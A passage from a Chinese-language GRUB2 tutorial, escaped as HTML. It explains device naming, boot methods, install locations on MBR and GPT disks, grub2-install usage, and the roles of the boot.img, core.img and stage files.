&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;(fd0)           ：表示第一块软盘&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;(hd0,msdos2)    ：表示第一块硬盘的第二个mbr分区。grub2中分区从1开始编号，传统的grub是从0开始编号的&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;(hd0,msdos5)    ：表示第一块硬盘的第一个逻辑分区&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;(hd0,gpt1)      ：表示第一块硬盘的第一个gpt分区&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;boot&#x2F;vmlinuz   ：相对路径，基于根目录，表示根目录下的boot目录下的vmlinuz，&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                ：如果设置了根目录变量root为(hd0,msdos1)，则表示(hd0,msdos1)&#x2F;boot&#x2F;vmlinuz&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;(hd0,msdos1)&#x2F;boot&#x2F;vmlinuz：绝对路径，表示第一硬盘第一分区的boot目录下的vmlinuz文件&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-1-3-grub2yin-dao-cao-zuo-xi-tong-de-fang-shi&quot;&gt;1.1.3 grub2引导操作系统的方式&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;General-boot-methods.html#General-boot-methods&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;General-boot-methods.html#General-boot-methods&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;grub2支持两种方式引导操作系统：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;直接引导：(direct-load)直接通过默认的grub2 boot loader来引导写在默认配置文件中的操作系统&lt;&#x2F;li&gt;
&lt;li&gt;链式引导：(chain-load)使用默认grub2 boot loader链式引导另一个boot loader，该boot loader将引导对应的操作系统&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一般只使用第一种方式，只有想引导grub默认不支持的操作系统时才会使用第二种方式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-4-grub2cheng-xu-he-chuan-tong-grubcheng-xu-an-zhuang-hou-de-wen-jian-fen-bu&quot;&gt;1.1.4 grub2程序和传统grub程序安装后的文件分布&lt;&#x2F;h3&gt;
&lt;p&gt;在传统grub软件安装完后，在&#x2F;usr&#x2F;share&#x2F;grub&#x2F;RELEASE&#x2F;目录下会生成一些stage文件。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[root@xuexi ~]# ls &#x2F;usr&#x2F;share&#x2F;grub&#x2F;x86_64-redhat&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;e2fs_stage1_5  ffs_stage1_5  jfs_stage1_5  reiserfs_stage1_5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;stage2 ufs2_stage1_5  xfs_stage1_5  fat_stage1_5  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;iso9660_stage1_5  minix_stage1_5 stage1  stage2_eltorito  vstafs_stage1_5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在grub2软件安装完后，会在&#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;目录下生成很多模块文件和img文件，还包括一些lst列表文件。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;[root@server7 ~]# ls &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;*.mod | wc -l&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;257&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;[root@server7 ~]# ls -lh &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;*.lst   &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 3.7K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;command.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  936 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;crypto.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  214 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;fs.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 5.1K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;moddep.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  111 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;partmap.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root   17 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;parttool.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  202 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;terminal.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root   33 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;video.lst&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;[root@server7 ~]# ls -lh &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;*.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  512 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;boot_hybrid.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  512 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;boot.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 2.0K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;cdboot.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  512 Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;diskboot.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root  28K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;kernel.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 1.0K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;lnxboot.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 2.9K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;lzma_decompress.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-rw-r--r--. 1 root root 1.0K Nov 24  2015 &#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;pxeboot.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-1-5-boot-loaderhe-grubde-guan-xi&quot;&gt;1.1.5 boot loader和grub的关系&lt;&#x2F;h3&gt;
&lt;p&gt;当使用grub来管理启动菜单时，那么boot loader都是grub程序安装的。&lt;&#x2F;p&gt;
&lt;p&gt;传统的grub将stage1转换后的内容安装到MBR(VBR或EBR)中的boot loader部分，将stage1_5转换后的内容安装在紧跟在MBR后的扇区中，将stage2转换后的内容安装在&#x2F;boot分区中。&lt;&#x2F;p&gt;
&lt;p&gt;grub2将boot.img转换后的内容安装到MBR(VBR或EBR)中的boot loader部分，将diskboot.img和kernel.img结合成为core.img，同时还会嵌入一些模块或加载模块的代码到core.img中，然后将core.img转换后的内容安装到磁盘的指定位置处。&lt;&#x2F;p&gt;
&lt;p&gt;它们之间更具体的关系见下文。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-6-grub2de-an-zhuang-wei-zhi&quot;&gt;1.1.6 grub2的安装位置&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;BIOS-installation.html#BIOS-installation&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;BIOS-installation.html#BIOS-installation&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;严格地说是core.img的安装位置，因为boot.img的位置是固定在MBR或VBR或EBR上的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-mbr&quot;&gt;(1).MBR&lt;&#x2F;h4&gt;
&lt;p&gt;MBR格式的分区表用于PC BIOS平台，这种格式允许四个主分区和额外的逻辑分区。使用这种格式的分区表，有两种方式安装GURB：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;嵌入到MBR和第一个分区中间的空间，这部分就是大众所称的”boot track”,”MBR gap”或”embedding area”，它们大致需要31kB的空间；&lt;&#x2F;li&gt;
&lt;li&gt;将core.img安装到某个文件系统中，然后使用分区的第一个扇区(严格地说不是第一个扇区，而是第一个block)存储启动它的代码。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这两种方法有不同的问题。&lt;&#x2F;p&gt;
&lt;p&gt;使用嵌入的方式安装grub，就没有保留的空闲空间来保证安全性，例如有些专门的软件就是使用这段空间来实现许可限制的；另外分区的时候，虽然会在MBR和第一个分区中间留下空闲空间，但可能留下的空间会比这更小。&lt;&#x2F;p&gt;
&lt;p&gt;方法二安装grub到文件系统，但这样的grub是脆弱的。例如，文件系统的某些特性需要做尾部包装，甚至某些fsck检测，它们可能会移动这些block。&lt;&#x2F;p&gt;
&lt;p&gt;GRUB开发团队建议将GRUB嵌入到MBR和第一个分区之间，除非有特殊需求，但仍必须要保证第一个分区至少是从第31kB(第63个扇区)之后才开始创建的。&lt;&#x2F;p&gt;
&lt;p&gt;现在的磁盘设备，一般都会有分区边界对齐的性能优化提醒，所以第一个分区可能会自动从第1MB处开始创建。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-gpt&quot;&gt;(2).GPT&lt;&#x2F;h4&gt;
&lt;p&gt;一些新的系统使用GUID分区表(GPT)格式，这种格式是EFI固件所指定的一部分。但如果操作系统支持的话，GPT也可以用于BIOS平台(即MBR风格结合GPT格式的磁盘)，使用这种格式，需要使用独立的BIOS boot分区来保存GRUB，GRUB被嵌入到此分区，不会有任何风险。&lt;&#x2F;p&gt;
&lt;p&gt;当在gpt磁盘上创建一个BIOS boot分区时，需要保证两件事：(1)它最小是31kB大小，但一般都会为此分区划分1MB的空间用于可扩展性；(2)必须要有合理的分区类型标识(flag type)。&lt;&#x2F;p&gt;
&lt;p&gt;例如使用gun parted工具时，可以设置为bios_grub标识：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;# parted &#x2F;dev&#x2F;sda toggle partition_num bios_grub&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# parted &#x2F;dev&#x2F;sda set partiton_num bios_grub on&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果使用gdisk分区工具时，则分类类型设置为”EF02”。&lt;&#x2F;p&gt;
&lt;p&gt;如果使用其他的分区工具，可能需要指定guid，则可以指定其guid为”21686148-6449-6e6f-744e656564454649”。&lt;&#x2F;p&gt;
&lt;p&gt;下图是某个bios&#x2F;gpt格式的bios boot分区信息，从中可见，它大小为1M，没有文件系统，分区表示为bios_grub。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;gpt-bios-boot-partition.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下图为gpt磁盘在图形界面下安装操作系统时创建的Bios boot分区。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;gpt-bios-boot-partition-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-7-jin-ru-grubming-ling-xing&quot;&gt;1.1.7 进入grub命令行&lt;&#x2F;h3&gt;
&lt;p&gt;在传统的grub上，可以直接在bash下敲入grub命令进入命令交互模式，但grub2只能在系统启动前进入grub交互命令行。&lt;&#x2F;p&gt;
&lt;p&gt;按下e见可以编辑所选菜单对应的grub菜单配置项，按下c键可以进入grub命令行交互模式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-command-line-entry.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-2-an-zhuang-grub2&quot;&gt;1.2 安装grub2&lt;&#x2F;h2&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Installing-GRUB-using-grub_002dinstall.html#Installing-GRUB-using-grub_002dinstall&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Installing-GRUB-using-grub_002dinstall.html#Installing-GRUB-using-grub_002dinstall&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这里的安装指的不是安装grub程序，而是安装Boot loader，但一般都称之为安装grub，且后文都是这个意思。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-1-gruban-zhuang-ming-ling&quot;&gt;1.2.1 grub安装命令&lt;&#x2F;h3&gt;
&lt;p&gt;安装方式非常简单，只需调用grub2-install，然后给定安装到的设备名即可。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-install &#x2F;dev&#x2F;sda&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样的安装方式，默认会将img文件放入到&#x2F;boot目录下，如果想自定义放置位置，则使用&lt;code&gt;--boot-directory&lt;&#x2F;code&gt;选项指定，可用于测试练习grub的时候使用，但在真实的grub环境下不建议做任何改动。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-install --boot-director=&#x2F;mnt&#x2F;boot &#x2F;dev&#x2F;fd0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果是EFI固件平台，则必须挂载好efi系统分区，一般会挂在&#x2F;boot&#x2F;efi下，这是默认的，此时可直接使用grub2-install安装。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-install&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果不是挂载在&#x2F;boot&#x2F;efi下，则使用&lt;code&gt;--efi-directory&lt;&#x2F;code&gt;指定efi系统分区路径。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-install --efi-directory=&#x2F;mnt&#x2F;efi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;grub2-install实际上是一个shell脚本，用于调用其他工具，真正的功能都是其他工具去完成的，所以如果非常熟悉grub内部命令和机制，完全可以不用grub2-install。&lt;&#x2F;p&gt;
&lt;p&gt;对应传统的grub安装命令为grub-install，用法和grub2-install一样。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-2-ge-chong-imghe-stagewen-jian-de-shuo-ming&quot;&gt;1.2.2 各种img和stage文件的说明&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Images.html#Images&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Images.html#Images&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;img文件是grub2生成的，stage文件是传统grub生成的。下面是各种文件的说明。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;grub2zhong-de-imgwen-jian&quot;&gt;grub2中的img文件&lt;&#x2F;h4&gt;
&lt;p&gt;grub2生成了好几个img文件，有些分布在&#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc目录下，有些分布在&#x2F;boot&#x2F;grub2&#x2F;i386-pc目录下，它们之间的关系，相信看了下文之后就会明白了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-img-files-relation.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下图描述了各个img文件之间的关系。其中core.img是动态生成的，路径为&#x2F;boot&#x2F;grub2&#x2F;i386-pc&#x2F;core.img，而其他的img则存在于&#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc目录下。当然，在安装grub时，boot.img会被拷贝到&#x2F;boot&#x2F;grub2&#x2F;i386-pc目录下。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-img-files-relationship.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;(1)boot.img&lt;&#x2F;p&gt;
&lt;p&gt;在BIOS平台下，boot.img是grub启动的第一个img文件，它被写入到MBR中或分区的boot sector中，因为boot sector的大小是512字节，所以该img文件的大小也是512字节。&lt;&#x2F;p&gt;
&lt;p&gt;boot.img唯一的作用是读取属于core.img的第一个扇区并跳转到它身上，将控制权交给该扇区的img。由于体积大小的限制，boot.img无法理解文件系统的结构，因此grub2-install将会把core.img的位置硬编码到boot.img中，这样就一定能找到core.img的位置。&lt;&#x2F;p&gt;
&lt;p&gt;(2)core.img&lt;&#x2F;p&gt;
&lt;p&gt;core.img根据diskboot.img、kernel.img和一系列的模块被grub2-mkimage程序动态创建。core.img中嵌入了足够多的功能模块以保证grub能访问&#x2F;boot&#x2F;grub，并且可以加载相关的模块实现相关的功能，例如加载启动菜单、加载目标操作系统的信息等，由于grub2大量使用了动态功能模块，使得core.img体积变得足够小。&lt;&#x2F;p&gt;
&lt;p&gt;core.img中包含了多个img文件的内容，包括diskboot.img&#x2F;kernel.img等。&lt;&#x2F;p&gt;
&lt;p&gt;core.img的安装位置随MBR磁盘和GPT磁盘而不同，这在上文中已经说明过了。&lt;&#x2F;p&gt;
&lt;p&gt;(3)diskboot.img&lt;&#x2F;p&gt;
&lt;p&gt;如果启动设备是硬盘，即从硬盘启动时，core.img中的第一个扇区的内容就是diskboot.img。diskboo.img的作用是读取core.img中剩余的部分到内存中，并将控制权交给kernel.img，由于此时还不识别文件系统，所以将core.img的全部位置以block列表的方式编码，使得diskboot.img能够找到剩余的内容。&lt;&#x2F;p&gt;
&lt;p&gt;该img文件因为占用一个扇区，所以体积为512字节。&lt;&#x2F;p&gt;
&lt;p&gt;(4)cdboot.img&lt;&#x2F;p&gt;
&lt;p&gt;如果启动设备是光驱(cd-rom)，即从光驱启动时，core.img中的第一个扇区的的内容就是cdboo.img。它的作用和diskboot.img是一样的。&lt;&#x2F;p&gt;
&lt;p&gt;(5)pexboot.img&lt;&#x2F;p&gt;
&lt;p&gt;如果是从网络的PXE环境启动，core.img中的第一个扇区的内容就是pxeboot.img。&lt;&#x2F;p&gt;
&lt;p&gt;(6)kernel.img&lt;&#x2F;p&gt;
&lt;p&gt;kernel.img文件包含了grub的基本运行时环境：设备框架、文件句柄、环境变量、救援模式下的命令行解析器等等。很少直接使用它，因为它们已经整个嵌入到了core.img中了。注意，kernel.img是grub的kernel，和操作系统的内核无关。&lt;&#x2F;p&gt;
&lt;p&gt;如果细心的话，会发现kernel.img本身就占用28KB空间，但嵌入到了core.img中后，core.img文件才只有26KB大小。这是因为core.img中的kernel.img是被压缩过的。&lt;&#x2F;p&gt;
&lt;p&gt;(7)lnxboot.img&lt;&#x2F;p&gt;
&lt;p&gt;该img文件放在core.img的最前部位，使得grub像是linux的内核一样，这样core.img就可以被LILO的&lt;code&gt;image=&lt;&#x2F;code&gt;识别。当然，这是配合LILO来使用的，但现在谁还适用LILO呢？&lt;&#x2F;p&gt;
&lt;p&gt;(8)*.mod&lt;&#x2F;p&gt;
&lt;p&gt;各种功能模块，部分模块已经嵌入到core.img中，或者会被grub自动加载，但有时也需要使用insmod命令手动加载。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;chuan-tong-grubzhong-de-stagewen-jian&quot;&gt;传统grub中的stage文件&lt;&#x2F;h4&gt;
&lt;p&gt;grub2的设计方式和传统grub大不相同，因此和stage之间的对比关系其实没那么标准，但是将它们拿来比较也有助于理解img和stage文件的作用。&lt;&#x2F;p&gt;
&lt;p&gt;stage文件也分布在两个地方：&#x2F;usr&#x2F;share&#x2F;grub&#x2F;RELEASE目录下和&#x2F;boot&#x2F;grub目录下，&#x2F;boot&#x2F;grub目录下的stage文件是安装grub时从&#x2F;usr&#x2F;share&#x2F;grub&#x2F;RELEASE目录下拷贝过来的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] GRUB stage 文件终端截图：&#x2F;usr&#x2F;share&#x2F;grub&#x2F;x86_64-redhat&#x2F; 与 &#x2F;boot&#x2F;grub&#x2F; 下均含各文件系统版本的 stage1_5（e2fs&#x2F;fat&#x2F;ffs&#x2F;iso9660&#x2F;jfs&#x2F;minix&#x2F;reiserfs&#x2F;ufs2&#x2F;vstafs&#x2F;xfs，约 12~15K）、stage1（仅 512 字节，装入 MBR）与 stage2（124K，核心引导代码）；可用 find &#x2F;boot&#x2F;grub&#x2F; -name &quot;&lt;em&gt;stage&lt;&#x2F;em&gt;&quot; | xargs ls -lh 查看。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;img&#x2F;linux&#x2F;1699314666374.png&quot;&gt;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;img&#x2F;linux&#x2F;1699314666374.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;(1)stage1&lt;&#x2F;p&gt;
&lt;p&gt;stage1文件在功能上等价于boot.img文件。目的是跳转到stage1_5或stage2的第一个扇区上。&lt;&#x2F;p&gt;
&lt;p&gt;(2)*_stage1_5&lt;&#x2F;p&gt;
&lt;p&gt;*stage1_5文件包含了各种识别文件系统的代码，使得grub可以从文件系统中读取体积更大功能更复杂的stage2文件。从这一方面考虑，它类似于core.img中加载对应文件系统模块的代码部分，但是core.img的功能远比stage1_5多。&lt;&#x2F;p&gt;
&lt;p&gt;stage1_5一般安装在MBR后、第一个分区前的那段空闲空间中，也就是MBR gap空间，它的作用是跳转到stage2的第一个扇区。&lt;&#x2F;p&gt;
&lt;p&gt;其实传统的grub在某些环境下是可以不用stage1_5文件就能正常运行的，但是grub2则不能缺少core.img。&lt;&#x2F;p&gt;
